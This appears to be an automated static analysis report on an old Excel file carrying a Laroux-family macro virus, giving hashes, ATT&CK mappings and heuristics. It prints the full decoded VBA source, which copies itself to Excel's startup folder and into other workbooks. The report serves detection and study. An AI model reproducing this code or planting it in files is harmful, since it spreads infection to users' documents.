Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fb8f1627781a9079…

MALICIOUS

Office (OLE)

85.0 KB Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 12fd78eff04cee8f06b4ef397d4e718a SHA-1: 3a1e3e89b973e12bbd46ea138b5aa9b1f328d8db SHA-256: fb8f1627781a9079fe54072ddefc62a08af6c2305f9963ddd16c23c2e8b611bb
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains a critical heuristic indicating it is an Excel 5 Laroux macro virus. The VBA script within the 'macros.bas' file contains an 'auto_open' subroutine that sets 'OnSheetActivate' to 'check_files'. This script attempts to save a file named 'kinslayer.XLS' to the application's startup path, which is a common technique for establishing persistence.

Heuristics 3

  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2113 bytes
SHA-256: 38bb64c54ace86f9f06c48eab8b9b48cc7bd6afe20039637b8dc385eef6276b5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "pball"

Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    C$ = Application.StartupPath
    m$ = Dir(C$ & "\" & "kinslayer.XLS")
    If m$ = "kinslayer.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("pball").Select
    Sheets("pball").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "kinslayer.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("pball").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "kinslayer.xls!check_files"
  Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "pball" Then
        Workbooks("kinslayer.XLS").Sheets("pball").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("pball").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "kinslayer.xls!check_files"
      x$ = Workbooks(n4$).Modules(1).Name
      If x$ = "laroux" Then
      Workbooks("kinslayer.XLS").Module("pball").Copy before:=Workbooks(n4$).Module("laroux")
      Workbooks(n4$).Sheets("pball").Visible = False
      End If


    Case Else
  
End Select
End Sub

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